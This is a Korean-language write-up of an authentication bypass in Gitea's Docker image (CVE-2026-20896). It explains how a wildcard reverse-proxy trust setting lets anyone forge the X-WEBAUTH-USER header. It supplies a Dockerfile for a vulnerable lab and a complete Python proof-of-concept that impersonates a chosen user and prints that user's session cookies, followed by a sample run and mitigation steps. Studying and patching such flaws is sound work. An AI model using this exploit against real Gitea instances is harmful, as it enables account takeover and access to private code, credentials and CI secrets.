Gitea의 CVE-2026-20896 인증 우회 취약점을 악용하기 위한 설명과 PoC입니다. Gitea 인스턴스의 유효한 사용자에 대한 세션 토큰을 탈취할 수 있습니다.
Gitea는 조직과 개발자가 소스 코드 저장소를 관리하고, 이슈를 추적하고, 변경 사항을 검토하며, 소프트웨어 프로젝트에서 협업할 수 있게 해주는 경량 오픈소스 Git 호스팅 플랫폼입니다. GitHub 및 GitLab과 같은 플랫폼과 유사한 기능을 제공하지만 자체 호스팅이 가능하고 효율적이며 유지 관리가 쉬운 것이 특징으로, 코드와 개발 인프라에 대한 더 큰 통제권을 원하는 조직에 적합합니다.
CVE-2026-20896은 공식 Gitea Docker 이미지의 심각한 인증 우회 취약점이며, CVSS 9.8(Critical) 등급을 받았습니다. 1.26.2를 포함한 이하 버전의 Gitea Docker 이미지에 영향을 미칩니다. 근본 원인은 안전하지 않은 기본 구성인
REVERSE_PROXY_TRUSTED_PROXIES = *로, 이로 인해 Gitea가 모든 IP 주소에서 오는 리버스 프록시 인증 헤더를 신뢰하게 됩니다. 리버스 프록시 인증이 활성화된 경우, 인증되지 않은 원격 공격자는 위조된X-WEBAUTH-USER헤더를 제공하여 Gitea가 공격자를 지정된 사용자로 취급하도록 만들 수 있습니다. 특히 관리자를 사칭하면 비밀번호나 유효한 인증 토큰 없이도 완전한 관리자 액세스 권한을 얻을 수 있습니다.
잠재적 영향은 심각합니다. Gitea에 대한 관리자 액세스는 비공개 소스 코드 저장소, 자격 증명 및 CI/CD 비밀(secrets)을 노출할 수 있으며, 저장소, SSH 키, 웹훅 및 기타 보안에 민감한 설정의 수정을 허용할 수 있기 때문입니다. 이 취약점은 영향을 받는 Docker 이미지를 리버스 프록시 인증과 함께 사용하는 배포 환경과 특히 관련이 있으며, Gitea의 일반적인 비밀번호 인증 메커니즘의 단순한 결함이 아닙니다. Gitea는 버전 1.26.3에서 이 문제를 해결했으며, 관리자는 안전하지 않은 와일드카드 설정에 의존하지 말고 패치된 최신 릴리스로 업그레이드하고 리버스 프록시 신뢰 구성을 검토해야 합니다. 또한 노출된 Gitea 인스턴스를 대상으로 한 악용 시도가 보고되어 신속한 대응이 특히 중요합니다.
다음 Dockerfile을 사용하여 취약한 버전의 Gitea(이 경우 1.26.2 버전)로 Docker 컨테이너를 실행합니다:
FROM gitea/gitea:1.26.2
# Reverse-proxy authentication must be enabled to reproduce the vulnerable
# authentication flow described by CVE-2026-20896.
ENV GITEA__database__DB_TYPE=sqlite3 \
GITEA__database__PATH=/data/gitea/gitea.db \
GITEA__security__INSTALL_LOCK=true \
GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true
RUN <<'EOF'
cat > /usr/local/bin/lab-entrypoint <<'SCRIPT'
#!/bin/sh
set -eu
CONFIG=/data/gitea/conf/app.ini
URL=http://127.0.0.1:3000
ADMIN_PASSWORD='Password123$!'
# Start Gitea using the original image entrypoint.
/usr/bin/entrypoint "$@" &
pid=$!
trap 'kill -TERM "$pid" 2>/dev/null || true' TERM INT
# Wait until Gitea is ready before creating the lab account.
until curl -fsS "$URL/api/healthz" >/dev/null 2>&1; do
sleep 1
done
# Create a local administrator account for vulnerability verification.
su-exec git gitea admin user create \
--config "$CONFIG" \
--username jbkira \
--password "$ADMIN_PASSWORD" \
--email [email protected] \
--admin \
--must-change-password=false \
>/dev/null
wait "$pid"
SCRIPT
chmod +x /usr/local/bin/lab-entrypoint
EOF
ENTRYPOINT ["/usr/local/bin/lab-entrypoint"]
그런 다음 다음 명령어를 사용하여 Docker 컨테이너를 빌드합니다:
docker build -t gitea-cve-2026-20896-lab .
마지막으로 다음 명령어를 사용하여 Docker 컨테이너를 배포합니다:
docker run -d --name gitea-cve-2026-20896 -p 3000:3000 gitea-cve-2026-20896-lab
Gitea 인스턴스에 존재하는 사용자의 이름을 알고 있다면
X-WEBAUTH-USER: username헤더를 악용하여 해당 사용자를 사칭할 수 있습니다. 이 랩에서는 jbkira라는 사용자를 생성했으므로, 예를 들어 BurpSuite와 같은 프록시를 사용하여 Gitea 메인 페이지에 대한 인증되지 않은 일반 접근을 캡처한 후 다음 헤더를 추가할 것입니다:

X-WEBAUTH-USER헤더를 포함하여 해당 요청을 전달하면, 브라우저에서 Gitea 페이지에 다시 접속했을 때 jbkira 사용자로 로그인된 것을 확인할 수 있습니다. 하지만 항상 그런 방식으로 동작하는 것은 아니므로, 공격을 수행하여 대상 사용자의 세션 쿠키를 탈취하는 PoC 스크립트를 제작했습니다. 탈취한 쿠키를 브라우저에 복사하여 붙여넣으면 대상 사용자로 접근할 수 있습니다.
인증 우회(Authentication Bypass) 결함을 악용하여 대상 사용자의 세션 쿠키를 탈취하는 Python 자동화 PoC:
import requests
import argparse
# Color codes for terminal output
GREEN = "\033[92m"
RED = "\033[91m"
YELLOW = "\033[93m"
ORANGE = "\033[33m"
BLUE = "\033[94m"
RESET = "\033[0m"
def attack(url, target_user):
METHOD = "GET"
HEADERS = {
"User-Agent": "Mozilla/5.0",
"X-WEBAUTH-USER": f"{target_user}",
}
resp = requests.request(method=METHOD,url=url,headers=HEADERS,verify=False)
print(f"[+] Status code: {resp.status_code}\n")
# Cookies that the server has set (via Set-Cookie)
if resp.cookies:
print(f"{GREEN}[+] Cookies retrieved for user {target_user}:{RESET}")
for cookie in resp.cookies:
print(f" {cookie.name} = {cookie.value}")
else:
print(f"{RED}[-] The server has not returned any cookies.{RESET}")
def argparse_setup():
parser = argparse.ArgumentParser(description="Exploit for Gitea Authentication Bypass (CVE-2026-20896) created by JBKira")
parser.add_argument("-u", "--url", help="Target URL (e.g., http://targetIP:3000/)", required=True)
parser.add_argument("-t", "--target-user", help="Target user for authentication bypass", required=True)
return parser.parse_args()
def banner():
print(f"{YELLOW}")
print(r"""
███ █ █ █████ ███ ███ ███ ███ ███ ███ ███ ███ ███
█ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █
█ █ █ ████ ████ █ █ █ █ ████ ████ █ █ █ ███ ████ ████
█ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █
███ █ █████ █████ ███ █████ ███ █████ ███ ███ ███ ███
""")
print(f"CVE-2026-20896 Exploit for Gitea Authentication Bypass created by JBKira{RESET}")
print(f"{ORANGE}github.com/judgedbykira{RESET} | {BLUE}linkedin.com/in/yeray-medina{RESET}")
print(f"Only use this in real penetration tests or lab environments. Unauthorized use is illegal.\n")
def main():
banner()
args = argparse_setup()
attack(args.url, args.target_user)
if __name__ == "__main__":
main()
사용 예시:
┌──(kali㉿jbkira)-[~/Desktop/PoCs/gitea-CVE-2026-20896]
└─$ python3 poc.py -u http://localhost:3000 -t jbkira
███ █ █ █████ ███ ███ ███ ███ ███ ███ ███ ███ ███
█ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █
█ █ █ ████ ████ █ █ █ █ ████ ████ █ █ █ ███ ████ ████
█ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █
███ █ █████ █████ ███ █████ ███ █████ ███ ███ ███ ███
CVE-2026-20896 Exploit for Gitea Authentication Bypass created by JBKira
github.com/judgedbykira | linkedin.com/in/yeray-medina
Only use this in real penetration tests or lab environments. Unauthorized use is illegal.
[+] Status code: 200
[+] Cookies retrieved for user jbkira:
i_like_gitea = e12680e9c4e6e894
lang = en-US
CVE-2026-20896에 대한 기본 완화 조치는 Gitea를 1.26.2 이하에서 1.26.3 이상으로 업그레이드하는 것입니다. 1.26.3에 이 취약점에 대한 보안 수정이 포함되어 있기 때문입니다. 즉시 업그레이드가 불가능한 경우, 관리자는
REVERSE_PROXY_TRUSTED_PROXIES를*대신 합법적인 인증 리버스 프록시의 IP 주소 또는 서브넷만 포함하도록 명시적으로 구성하고, 신뢰할 수 없는 클라이언트가 Gitea의 HTTP 포트에 직접 접근할 수 없도록 해야 합니다. 이는ENABLE_REVERSE_PROXY_AUTHENTICATION=true인 경우 특히 중요합니다. 이 취약점으로 인해 신뢰할 수 없는 소스가X-WEBAUTH-USER를 주입하여 기존 사용자를 사칭할 수 있기 때문입니다.
취약점을 발견하고 공개한 Ali Mustafa @rz1027님께 크레딧을 드립니다.